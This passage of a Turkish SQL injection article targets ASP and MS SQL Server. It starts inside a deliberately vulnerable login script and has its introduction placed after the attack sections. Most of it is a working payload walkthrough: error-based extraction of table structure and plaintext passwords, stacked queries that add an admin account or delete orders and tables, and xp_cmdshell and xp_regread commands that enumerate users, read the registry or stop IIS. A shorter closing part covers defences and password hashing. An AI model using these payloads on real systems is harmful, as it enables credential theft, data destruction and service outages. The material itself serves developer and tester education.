password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Bağlantıyı kur
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
Veritabanındaki veriye erişilebilmesi için bir saldırganın öncelikle veritabanının ve tabloların yapısı hakkında bilgi edinmesi gerekecektir.
Örneğin aşağıdaki scriptle yaratılmış bir Users tablomuz olsun.
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
Ve bu tabloya aşağıdaki kullanıcılar girilmiş olsun.
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
Saldırganımızın kendisi için tabloya bir kullanıcı hesabı eklemek istediğini düşünelim. Veritabanının yapısını bilmeden bu işi yapamayacağını bilmektedir. Şansı yaver gitse bile Users tablosundaki privs sütununun anlamının ne olduğu açık değildir.
Ancak, eğer uygulamadan hata mesajı dönüyorsa, ki bu varsayılan tipik ASP davranışıdır, saldırgan veritabanının tüm yapısını belirleyebilir ve ASP uygulamasının SQL server’a bağlanmak için kullanacağı hesap tarafından okunabilecek tüm verileri okuyabilir.
İlk olarak saldırgan sorgunun çalıştığı tablo ve sütun isimlerini oluşturmak isteyecektir. Bunu yapabilmek için saldırgan SELECT sorgusunun HAVING ifadesini kullanır.
Username: ' having 1=1--
Bu aşağıdaki hata mesajını döndürür.
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
Artık saldırgan sorgudaki tablo adını ve ilk sütunun adını öğrenmiştir (users.id). Böylece, aşağıdaki gibi, GROUP BY ifadelerini kullanarak diğer sütun adlarını da öğrenmeye devam edebilir.
Username: ' group by users.id having 1=1--
Bu kod aşağıdaki hata mesajını döndürür.
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
Sonunda saldırgan aşağıdaki kullanıcı adına ulaşır.
' group by users.id, users.username, users.password, users.privs having 1=1--
Bu kod hiç bir hata mesajı çevirmez ve fonksiyon olarak aşağıdaki sorguya eşittir.
select * from users where username = ''
Artık saldırgan sorgunun sadece USERS tablosunu ve sırasıyla id, username, password ve privs sütunlarını kullandığını bilmektedir.
Eğer saldırgan her bir sütunun veri tipini de öğrenebilirse bu onun için oldukça faydalı olacaktır.
Bu aşağıdaki gibi bir TYPE CONVERSION hata mesajı sayesinde yapılabilir.
Username: ' union select sum(username) from users--
Bu kod SQL Server’ın iki row setin alanlarının sayısının eşit olup olmadığını denetlemeden önce toplama (sum) işlemini yapmaya çalışmasının avantajını kullanır.
Text alanını toplamaya çalışmanın sonucu bu hata mesajı ile döner.
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
Bu hata mesajı saldırgana USERNAME sütununun veri tipinin VARCHAR olduğunu söyler. Diğer taraftan, eğer saldırgan veri tipi nümerik olan bir sütunun toplamını hesaplamaya çalışırsa, iki row setin alanlarının sayısının eşit olmadığını söyleyen şu mesajı alır.
Username: ' union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
Saldırgan bu tekniği kullanarak veritabanındaki herhangi bir tablonun herhangi bir sütununun veri tipini belirleyebilir.
Artık saldırgan aşağıdaki gibi bir INSERT sorgusunu oluşturabilir.
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
Bununla birlikte bu tekniğin potansiyeli çok daha fazladır. Saldırgan sistem ve veritabanı hakkında bilgi döndüren herhangi bir hata mesajının avantajını kullanabilir. Aşağıdaki sorgu ile standart hata mesajlarını SQL Server’dan öğrenebilirsiniz.
select * from master..sysmessages
Bu listeyi incelerseniz bazı ilginç mesajlar olduğunu görebilirsiniz.
Özellikle TYPE CONVERSION ile alakalı bir mesaj çok faydalı olabilir. Eğer bir STRING tipi INTEGER tipine çevirmeye çalışırsanız STRING’in tüm içeriği hata mesajında dönmektedir. Örneğin bizim örnek login sayfamızda aşağıdaki username SQL Server’ın spesifik versiyonunu ve üzerinde çalıştığı server işletim sistemini döndürecektir.
Username: ' union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
Bu kod USERS tablosunun ilk sütunu INTEGER veri tipine sahip olduğu için sabit olan @@version değerini INTEGER veri tipine çevirmeye çalışır.
Bu teknik veritabanındaki herhangi bir tablonun herhangi bir verisini okumak için kullanılabilir. Saldırganımız kullanıcı adları ve parolalarla ilgilendiğinden USERS tablosundan kullanıcı adlarını şöyle okuyabilirler.
Username: ' union select min(username),1,1,1 from users where username > 'a'--
Bu kod a harfinden büyük olan minimum kullanıcı adını seçer ve onu bir integer veri tipine çevirmeye çalışır. Dönecek olan hata mesajı aşağıdaki gibidir.
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
Artık saldırganımız Admin diye bir hesap adının varlığını bilmektedir. Aynı yöntemi kullanarak diğer kullanıcı adlarını da öğrenebilir.
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Dönecek olan hata mesajı Admin’den sonra gelen ilk kullanıcı adını saldırgana verecektir.
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
Saldırganımız bir kere kullanıcı adlarını belirledikten sonra artık parolaları öğrenmeye başlayabilir.
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
Bundan daha ustaca bir teknik ise kullanıcı adlarını ve parolaları tek bir stringe dizdirmektir. Bu aynı zamanda Transact SQL ifadelerin anlamlarını değiştirmeden tek bir satırda string olarak bir araya getirilebileceklerini de göstermektedir. Aşağıdaki kod değerleri dizecektir.
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo
end
Saldırgan şu kullanıcı adı ile login olur.
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--
Bu sorgu içerisinde ‘ret’ adında tek bir sütun olan ‘foo’ adında bir tablo yaratır ve stringimizi içine yerleştirir. Normalde kısıtlı yetkilere sahip olan bir kullanıcı bile örnek ya da geçici bir veritabanında tablo yaratabilir.
Saldırgan daha sonra tablodan stringi çağırır.
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35
Daha sonra etrafı dağınık bırakmamak için tabloyu siler.
Username: '; drop table foo--
Bu örneklerden de anlaşılacağı gibi eğer bir saldırgan detaylı hata mesajı alabiliyorsa işi tahmin edebileceğinizden çok daha kolaydır ve verebileceği zararlar oldukça fazladır.
Saldırgan veritabanının kontrolünü bir kere eline geçirdiğinde ağ üzerinde daha fazla kontrole sahip olmak isteyecektir. Bu şu şekillerde olabilir.
Veritabanı sunucusu üzerinde SQL Server kullanıcısı olarak komutlar çalıştırmak için xp_cmdshell gibi bir stored procedure kullanabilir.
Eğer SQL Server local sistem hesabı ile çalışıyorsa registry değerlerini ve potansiyel olarak SAM değerlerini okumak için xp_regread gibi bir stored procedure kullanabilir.
Sunucuyu kontrol altına almak için diğer stored procedureleri kullanabilir.
Linked serverlar üzerinde sorgular çalıştırabilir.
SQL Server üzerinde kötü niyetli kodları çalıştırmak için kendi stored procedurelerini yaratabilir.
Serverdaki herhangi bir dosyayı okumak için ‘bulk insert’ ifadesini kullanabilir.
Server üzerinde isteğe bağlı text dosyaları oluşturmak için BCP kullanabilir.
sp_OACreate, sp_OAMethod ve sp_OAGetProperty gibi stored procedureleri kullanarak ASP scriptin yapabileceği her şeyi yapmak için Ole Automation (Active X) uygulamaları yaratabilir.
Bunlar bilinen saldırı senaryolarının sadece bir kaç tanesidir. Büyük ihtimalle saldırganınız daha başka saldırı metodları da kullanacaktır.
Konu biraz dağılacak ancak yeri gelmişken SQL Server’ın bazı stored procedurelerinin yapısı ve yapabilecekleri hakkında biraz bilgi vermekte de fayda var.
SQL Server stored procedureleri aslında harici fonsiyonları kullanmak için SQL Servera özel bir çağrı metodu kullanan derlenmiş DLL’lerdir (Dynamic Link Libraries). SQL Server uygulamalarının C’nin ve C++’ın güçlerine erişmelerini sağlarlar ve oldukça faydalıdırlar. SQL Server’a bir takım stored procedureler eklenmiştir. Bu stored procedureler e-mail göndermek ya da registry ile etkileşim kurmak gibi çeşitli fonksiyonları yerine getirirler.
xp_cmdshell : SQL Server ile birlikte gelen ve isteğe bağlı komut satırları çalıştırmaya yarayan bir stored proceduredür.
Örneğin:
exec master..xp_cmdshell 'dir'
exec master..xp_cmdshell 'dir' komutu SQL Server prosesinin o anki çalışan directory’sinin directory listesini getirecektir.
exec master..xp_cmdshell 'net1 user' komutu ise makinedeki bütün kullanıcıların listesini size sağlayacaktır. SQL Server normalde ya local system hesabı ile ya da domain user hesabı ile çalışıyor olacağından saldırgan ciddi boyutlarda zarar verebilir.
xp_regread
SQL Serverla birlikte gelen diğer bir faydalı stored procedure seti ise xp_regXXX fonksiyonlarıdır.
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Bu fonksiyonları bazı örnek kullanımları ise şunlar olabilir.
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
Bu kod server üzerindeki kullanılabilir NULL-SESSION paylaşımlarını belirleyecektir.
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
Bu kod server üzerinde ayarlanmış bütün SNMP gruplarını ortaya çıkaracaktır. Bu bilgi ile bir saldırgan, SNMP grupları çok sık değiştirilmediğinden ve bir çok host arasında paylaşıldığından dolayı, aynı ağ üzerinde bulunan cihazların ayarlarını değiştirebilir.
Bir saldırganın bu komutları kullanarak SAM’i nasıl okuyacağını, bir sistem servisinin ayarlarını değiştirebileceğini ve makine tekrar boot edildiğinde yeni ayarlar ile calışacağını ya da sunucuya herhangi bir kullanıcı tekrar log on olduğunda istediği komutu çalıştırabileceğini hayal etmek artık zor olmasa gerek.
Diğer Stored Procedureler
xp_servicecontrol : Kullanıcıya start, stop, pause servislerini kullanma olanağı verir.
Örneğin:
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
xp_availablemedia : Makinedeki kullanılır sürücüleri açığa çıkartır.
xp_dirtree : Elde edilmek üzere bir directory ağacını olanaklı kılar.
xp_enumdsn : Serverdaki ODBC veri kaynaklarını numaralandırır.
xp_loginconfig : Sunucunun güvenlik modu hakkında bilgileri açığa çıkartır.
xp_makecab : Kullanıcıya sunucudaki ya da sunucunun erişebileceği herhangi bir dosyanın sıkıştırılmış bir arşivini yaratma olanağı verir.
xp_ntsec_enumdomains: Sunucunun erişebileceği domainleri numaralandırır.
xp_terminate_process: PID’si verilen bir işlemi sonlandırır
Veritabanı yöneticileri ve web uygulaması geliştiriciler her geçen gün artan bir şekilde SQL Injection saldırıları ile uğraşmak zorunda kalmaktadırlar.
Bu makale veritabanları ile çalışan web uygulaması geliştiriciler, bu uygulamaların güvenliğini test eden güvenlik profesyonelleri ve veritabanı yöneticilerine yardımcı olmak amacıyla yazılmıştır.
Örnekler SQL injection’a açık bir uygulamada yapılabilecekler ve verilebilecek hasarlar hakkında bilgi aktarmak amacıyla verilmiştir. Örneklerde MS SQL Server, IIS, Active Server Pages ve .NET Framework kullanılmasının sebebi diğer uygulamalara göre daha yaygın kullanım alanlarının olması ve bu sebeple daha çok saldırıya maruz kalmalarıdır. Bununla birlikte diğer veritabanı sistemlerinde de bu makalede verilen örneklere ve belirtilen önlemlere eş değer uygulamalar yapmak mümkündür.
Bir web uygulamasına kod enjekte etmenin çeşitli yolları vardır. Bunlar; HTML Embedding, Cross-Site Scripting, SQL Injection, Buffer Overflow, File Includes gibi yöntemlerdir. Bu makalede SQL Injection ele alınmaktadır.
SQL Injection saldırısı nedir?
SQL Injection, güvenlik açığı olan uygulamalarda kötü niyetli kodların kullanıcıların sunucuyla etkileşim sağladığı alanlardan gönderilerek gizli bilgilerin açığa çıkarıldığı ya da server’ın çalışmasının engellendiği ve sistemin işlevlerini yerine getiremez duruma düşürüldüğü saldırılardır.
Saldırı tipleri iki kategoriye ayrılabilir.
1. First-Order:
Bu tip ataklar saldırganın ya e-mail gibi bazı cevap mekanizmaları ya da saldırıya maruz kalan uygulamadaki açıklar sayesinde amacına doğrudan ve anında erişebildiği hızlı saldırılardır.
2. Second-Order:
Bu tip saldırılarda veritabanına saldırı amaçlı kodlar gömülür ve daha sonra aktif hale getirilmek üzere bırakılır. Bu tip saldırılar anında ortaya çıkmazlar.
Bu tip saldırıların gerçekleştirilebilmesindeki en büyük etken veri bir kez veritabanına girdiğinde genellikle temiz ve zararsız olduğunun düşünülüp tekrar kontrol edilmemesidir. Ancak veriler sorgularda sıklıkla kullanılmaktadır ve sisteminize hala zarar verebilir.
Kullanıcılara arama kriterilerinde favori aramalarını düzenleme imkanı veren bir uygulama düşünün. Kullanıcı arama kriterlerini tanımladığında uygulama tek tırnakları yakalayarak favori arama kriterleri girilirken First-Order saldırıların olmasını engeller. Ancak kullanıcı bir arama yapmaya geldiğinde bilgi veritabanından alınır ve asıl arama işini yapacak olan ikinci bir sorgu oluşturmak üzere kullanılır. İşte bu noktada saldırının kurbanı 2. sorgudur.
Örneğin kullanıcı aşağıdaki kodu arama kriteri olarak yazarsa;
'; DELETE Orders;--
Uygulama veriyi alır, tek tırnakları yakalar ve son SQL sorgusu şöyle bir şeye benzeyebilir.
INSERT Favourites (UserID, FriendlyName, Criteria)
VALUES(123, 'My Attack', ''';DELETE Orders;--')
Bu bilgi veritabanına sorunsuz işlenir. Bununla birlikte kullanıcı favori aramalarını seçtiğinde yeni bir SQL sorgusu oluşturması için veri uygulamaya geri çağrılır ve çalıştırılır. Örneğin C# kodu şuna benzeyebilir:
// Geçerli kullanıcı adını ve favori aramada kullanılacak adı al
int uid = this.GetUserID();
string friendlyName = this.GetFriendlyName();
// Arama kriterini gerçekleştirmek üzere SQL ifadesini yarat
string sql = string.Format("SELECT Criteria FROM Favourites "+
"WHERE UserID={0} AND FriendlyName='{1}'",
uid, friendlyName);
SqlCommand cmd = new SqlCommand(sql, this.Connection);
string criteria = cmd.ExecuteScalar();
// Arama işlemini yap
sql = string.Format("SELECT * FROM Products WHERE ProductName = '{0}'",
criteria);
SqlDataAdapter da = new SqlDataAdapter(sql, this.Connection);
da.Fill(this.productDataSet);
Veritabanına yapılan ikinci sorgu tam olarak açıldığında sorgu şuna benzer;
SELECT * FROM Products WHERE ProductName = ''; DELETE Orders;--
Bu kod beklenen sorgu için hiç bir sonuç döndürmez ancak söz konusu firma bütün sipariş bilgisini çoktan kaybetmiştir.
SQL Injection Nasıl Çalışır?
SQL injection internet ortamında create, read, update ve delete sorgularının farklı şekillerde kullanımı sonucu yapmaları amaçlanan görevleri yaptırmadan kötü amaçlı SQL komutlarının hedef veritabanına karşı çalıştırılmasından başka bir şey değildir.
Genelde saldırıyı yapan kişilerin en iyi dostu textboxlardır. Bununla birlikte işin özünde veritabanına giden her veri girişi tehlikelidir.
Bir örnek ele alacak olursak normal bir sorgu şöyledir:
Select * from customers
Bu sorgu içerisinde kullanıcı tarafından bir veri girişi gerçekleşmediğinden SQL injection’a karşı güvenlidir. Aşağıdaki gibi interaktif bir sorgu ise:
select * from customers where customerID = 'ALFKI'
Eğer ALFKI bir kullanıcının girdiği bir veri ise tehlikelidir. Bir textbox (combobox’da olabilir )olduğunu ve kullanıcının müşteri ismini girerek veritabanına bir sorgu gönderdiğini ve sonucunda uygulamanızın geriye bir sonuç gönderdiğini düşünün.
Bunun bir combobox olması durumunda saldıran kişi ilk once sayfanızı HTML formatında kayıt edebilir ve sonra combobox değer alanı bilgilerini saldırı yapmak için kullanabilir. Bununla birlikte yapabileceği şeylerden bir tanesi de sayfanızı kayıt ettikten sonra bir analinizi yapmak ve kendi sorgusunu yapmak için girdi kontrollerinde sizinkiyle aynı isimleri kullanarak uygulamanıza doğrudan GET ya da POST metodları gönderecek olan kendi uygulamasını yaratmaktır. Karışık gibi görünsede web uygulama geliştirmede 1 senelik tecrübesi olan ortalama bir programcı bunu yapabilir.
Aşağıdaki örneğe bir bakalım. Kullanıcı textbox’a müşteri adı yerine aşağıdaki string’i yazarsa SQL Server kilitlenebilir. Bu tabiki de SQL Server’ın nasıl yanlış yapılandırıldığı ile de alakalı bir konudur.
a' exec master.dbo.xp_cmdshell 'rundll32.exe user32.dll,LockWorkStation'
Mesela bir siteyi etkisiz hale getirmek istiyorsanız ve server da doğru olarak yapılandırılmamışsa o zaman ‘iisreset/Stop’ komutunu kullanabilirsiniz. Çalıştıracağınız komut aşağıdaki gibidir.
a' exec master.dbo.xp_cmdshell 'iisreset/Stop'
Saldırgan büyük ihtimalle sunucunuzdaki tablolarda yer alan değerli verilere ulaşmak isteyecektir. Şunu bir düşünün, eğer elinizde kötü dizayn edilmiş bir uygulama varsa saldırgan müşterilerinizi kredi kartı, ev adresi, e-mail adresi gibi bilgilere erişebilir. Bunun sonucunda kredi kartı bilgilerini kullanarak müşterinizin satın almadığı ürünleri evine göndertmek ya da e-mail adreslerini satmak gibi suçlar işleyebilir.
Hangi SQL Server?
Bir siteye saldırmadan once saldırganın arkada çalışanın hangi SQL engine olduğunu bilmesi gerekir. Bunu kötü dizayn edilmiş bir sistemden öğrenmek tahminlerinizden daha kolaydır. Deneme yanılma gibi bir yol olduğunu da unutmayın.
Eğer web sayfalarınızın uzantısı .asp, .aspx vb. ise büyük ihtimalle SQL Server ya da MS Access kullanıyorsunuz. Sayfa uzantıları .jsp ise arkada bir Oracle sistemi çalışıyor olabilir. Sayfa uzantıları .php ise arkada çalışan MySQL olabilir.
Diyelim ki tahminlerimizde yanıldık peki o zaman arkaplanda çalışan SQL motorunun ne olduğunu nasıl bulacağız? Bunu bulmak için SQL’de başlangıç düzeyinde bilgiye sahip olmak yeterlidir. Genelde bu bilgi string birleştiren ve yorum karakterleri ile elde edilir.
SQL server için ALFKI ve AL + FKI aynıdır. Bununla birlikte Oracle için ALFKI and ALF || KI aynı anlamı ifade eder.
Şimdi ilk once AL+FKI deneyin. Eğer hata mesajı alıyorsanız arka planda çalışan kesinlikle SQL Server değildir. Uygun sonucu bulana kadar diğer stringleri deneyin.
Saldırganlar genelde lazım olacak doğru ekipmanlarını hazır bulundururlar. Örneğin gerekli sorguların yazılı olduğu bir text dosyası. Etkin bir saldırı yapabilmek aynı zamanda hızlı bir kopyala yapıştır yapabilme meselesidir.
Arka plandaki server bilgisini edinmek ya da seçenekleri azaltmak için SQL motorundaki tanımlı fonksiyonları kullanmakta işinize yarayabilir. Örneğin: Oracle için Sysdate, SQL server için Getdate gibi tarih foksiyonlarını kullanabilirsiniz.
Bir SQL ifadesini bitirmek için kullanılan karakteri kullanmak da arka plandaki SQL motorunu bulmak için iyi bir seçenek olabilir.
SQL Injection Saldırıları Nasıl Yapılıyor?
Öncelikle hangi saldırı tiplerinin popüler olduklarına bakalım.
1. Veritabanındaki tabloları bulmak
2. Veritabanındaki sütun adlarını bulmak
3. Order By kullanarak veritabanında kullanılan sütunların sayısını bulmak.
Bir örnekle saldırganın neler yapabileceğine bakalım: Buradaki senaryo saldırganın bir web sitesi üzerinden veritabanına saldırı yaparak kendi kodlarını enjekte etmesidir.
Tipik bir SQL sorgusu düşündüğünüzde aklınıza şöyle bir şey gelir:
SELECT ProductName, QuantityPerUnit, UnitPrice
FROM Products
WHERE ProductName LIKE 'G%'
Örneğin eğer bu sorgu sitedeki bir arama özelliğinden geliyorsa burada “G” harfini girip sorgu çeken herhangi bir site ziyaretçisi olabilir. Eğer server tarafındaki kod kullanıcının girdiği veriyi doğrudan SQL sorgusunun içerisine yerleştirirse, o zaman sorgu şöyle bir şeye benzer:
string sql = "SELECT ProductName, QuantityPerUnit, UnitPrice "+
"FROM Products " +
"WHERE ProductName LIKE '"+this.search.Text+"%';
SqlDataAdapter da = new SqlDataAdapter(sql, DbCommand);
da.Fill(productDataSet);
Buraya kadar herşey normal, veri doğru, bir problem yok. Peki ya kullanıcı beklenmedik bir şey yazarsa ne olur? Örneğin:
' UNION SELECT name, type, id FROM sysobjects;--
Başlangıçtaki tek tırnak işaretine dikkat edin. Orjinal SQL sorgusunda açılan sorguyu kapatıyor. Son taraftaki iki tire işaretine de dikkat edin. Orjinal SQL sorgusunda geri kalan herşey bu noktadan sonra işleme alınmıyor.
Şimdi saldırgan kullanıcının aradığı ürünleri getirmesi beklenen sayfada artık veri tabanındaki nesnelerin listesini ve nesnelerin türlerini görebiliyor. Tabiki bu listede saldırgan USERS diye bir tablo olduğunu farkediyor. Artık aşağıdaki kod enjekte edilebilir:
' UNION SELECT name, '', length FROM syscolumns
WHERE id = 1845581613;--
Bu sorgu saldırgana USERS tablosundaki sütun isimlerinin listesini getirecektir. Artık saldırgan şifreler listesine erişmek için yeterli bilgiye sahiptir.
' UNION SELECT UserName, Password, IsAdmin FROM Users;--
Veritabanında USERS diye bir tablo olduğunu ve bu tabloda UserName ve Password gibi sütunlar olduğunu düşünün. Bunu orjinal sorgu ile birleştirmek mümkündür. Sistem bunu örneğin UserName’i ProductName ve Password kısmını da QuantityPerUnit gibi analiz edecektir. Sonuç olarak saldırganımız IsAdmin diye bir kolon olduğunu bulduğuna göre bunun içerisindeki bilgilere de erişmesi artık an meselesidir.
Başka bir örnek daha.
İlk olarak veritabanındaki tabloları bulmak için basit bir sorgu yazalım.
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
Bu sorgu size bir veritabanındaki user defined tabloları getirir ve saldırgan bunu sisteminizdeki tabloları bulmak için kullanabilir.
Tablonuzdaki sütunları bulmak için şöyle bir sorgu yeterli olabilir.
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='customers'
Saldırganın sisteminizde bu sorguları doğrudan nasıl çalıştırabileceğini merak ediyor olabilirsiniz. Cevap: Result set içerisinde dönen sütun sayısını bulur ve dönen sonuçla bir ‘Union’ yapar. Aşağıdaki gibi basitçe bir komut yardımcı olabilir:
UNION select table_name , null ,null ,null
Eski sorgumuzu hatırlayalım:
select * from customers where customerID = 'ALFKI'
Saldırıya açık sorgu şöyle bir şey olacaktır.
select * from customers where customerID = 'ALFKI'
union
SELECT table_name,null,null,null,null,null,null,null,null,
null,null FROM INFORMATION_SCHEMA.TABLES --'
Tek tırnak işaretinden sonra aşağıda kötü niyetli bir string kullanıldı.
' union
SELECT table_name,null,null,null,null,null,null,null,
null,null,null FROM INFORMATION_SCHEMA.TABLES --
Saldırganın kaç tane NULL ekleyeceğini nereden bileceğini merak ediyor olabilirsiniz. Bunu sorgunun HTML’de ürettiği değerlere bakarak ya da ‘Order By’ kullanarak yapabilir.
select * from customers where customerID = 'ALFKI' Order by 1 -- ‘
select * from customers where customerID = 'ALFKI' Order by 15 --
Yukarıdaki sorgular saldırgana bir hata mesajı döndürecektir, ancak aşağıdaki sorguyu denediğinde hata mesajı dönmeyecek ve saldırgan dönen sonuçta 11 sütun olduğunu öğrenmiş olacaktır.
select * from customers where customerID = 'ALFKI' Order by 11 -- ‘
SQL Injection nasıl önlenir?
SQL Injection saldırılarını önlemenin çeşitli yolları vardır. Makalenin geri kalanında bunları inceleyeceğiz.
Sistemi dışarıdan erişime kapatma yöntemi
Güvenlik birçok katmana ayrılması gereken bir konudur. Bir kullanıcı bir yazılımı kullanırken zincirde bir çok halka vardır ve eğer kullanıcı kötü niyetli ise zayıf halkayı bulmak için bu zincire saldırarak sistemi zayıf noktasından çökertebilir.
Internet kullanıcılarına kapalı, windows authentication kullanan ve şirket ağında çalışan bir intranet websitesi sadece yetkili kullanıcılar intranet web uygulamasına giriş yapabilirmiş izlenimi uyandırabilir. Ancak bu seviyeden sonra gerekli güvenlik önlemleri alınmadıysa yetkili bir kullanıcı yetkisiz olduğu alanlara geçiş yapabilir. İstatistikler bu tip yapılara dışarıdan ziyade içeriden yetkisiz girişler yapıldığını desteklemektedirler.
Bununla birlikte bir uygulama detaylı bir doğrulama ve temizleme yaptıktan sonra doğru veri girişine izin veriyor olsa bile bu sefer diğer güvenlik önlemleri önem kazanıyor. Bu, özellikle sahte sorgular veya sonuçlar için fırsatların arttığı uygulama katmanları arasındaki noktalarda önemlidir.
Örneğin, bir web siteniz var ve kullanıcının bir tarih girmesini istiyorsunuz. Normal olarak girilen bilgiyi servera göndermeden önce Java Scriptlerle kontrol ettirdiniz. Bu işlem kullanıcının hoşuna gidecektir çünkü server sorguları için beklemeyecektir. Ancak burada yapılması gereken, kasten yazılmış geçersiz bir tarihle sorgu yanıltılabileceğinden tarih bilgisinin geçerliliğinin serverda tekrar denetlenmesidir.
Veriyi şifreleme
Saldırganın bütün güvenlik önlemlerini aştığını ve verilerinize ulaştığını düşünelim. Peki ya ulaştığı veriler şifrelenmişse?
Örneğin kullanıcı şifresi gibi veriler, kullanıcı şifreleri özel veriler olarak depolanabilir. Nasıl mı? Aşağıdaki koda bakalım. Syntax için .NET Framework 1.1. baz alınmıştır.
[JScript]
public static function HashPasswordForStoringInConfigFile(
password : String,
passwordFormat : String
) : String;
[Visual Basic]
Public Shared Function HashPasswordForStoringInConfigFile( _
ByVal password As String, _
ByVal passwordFormat As String _
) As String
Parametreler password ve passwordFormat. Kullanılacak olan algoritma Hash algoritmasıdır. Burada desteklenen iki tip algoritma var: "SHA1" veya "MD5" şifreleme algoritmaları.
Return Value : Encrypt edilmiş şifreyi çeviren string.
Örnek
[Visual Basic]
<%@ Page Language="VB" autoeventwireup="true" %>
<html>
<head>
<script runat="server">
Sub Cancel_Click(sender as Object, e as EventArgs )
userName.Text = ""
password.Text = ""
repeatPassword.Text = ""
result.Text = ""
End Sub
Sub HashPassword_Click(sender as Object, e as EventArgs)
If Page.IsValid Then
Dim hashMethod As String
If sha1.Checked Then
hashMethod = "SHA1"
Else
hashMethod = "MD5"
End If
Dim hashedPassword As String
hashedPassword = _
FormsAuthentication.HashPasswordForStoringInConfigFile(password.Text, hashMethod)
result.Text = "<credentials passwordFormat='" + hashMethod + "'><br>" + _
" <user name='" + userName.Text + "' password='" + _
hashedPassword + "'><br>" + "</credentials>"
Else
result.Text = "There was an error on the page."
End If
End Sub
</script>
</head>
<body>
<form runat="server">
<table>
<tbody>
<tr>
<td>New User Name:</td>
<td><asp:TextBox id="userName" runat="server"></asp:TextBox></td>
<td><asp:RequiredFieldValidator id="userNameRequiredValidator" runat="server"
ErrorMessage="User name required" ControlToValidate="userName"></asp:RequiredFieldValidator></td>
</tr>
<tr>
<td>Password: </td>
<td><asp:TextBox id="password" runat="server" TextMode="Password"></asp:TextBox></td>
<td><asp:RequiredFieldValidator id="passwordRequiredValidator" runat="server"
ErrorMessage="Password required" ControlToValidate="password"></asp:RequiredFieldValidator></td>
</tr>
<tr>
<td>Repeat Password: </td>
<td><asp:TextBox id="repeatPassword" runat="server" TextMode="Password"></asp:TextBox></td>
<td><asp:CompareValidator id="passwordCompareValidator" runat="server"
ErrorMessage="Password does not match" ControlToValidate="repeatPassword"
ControlToCompare="password"></asp:CompareValidator></td>
</tr>
<tr>
<td>Hash function: </td>
<td align="middle"><asp:RadioButton id="sha1" runat="server" GroupName="HashType"
Text="SHA1"></asp:RadioButton>
<asp:RadioButton id="md5" runat="server" GroupName="HashType" Text="MD5"></asp:RadioButton></td>
</tr>
<tr>
<td align="middle" colspan="2">
<asp:Button id="hashPassword" onclick="HashPassword_Click" runat="server" Text="Hash Password">
</asp:Button>
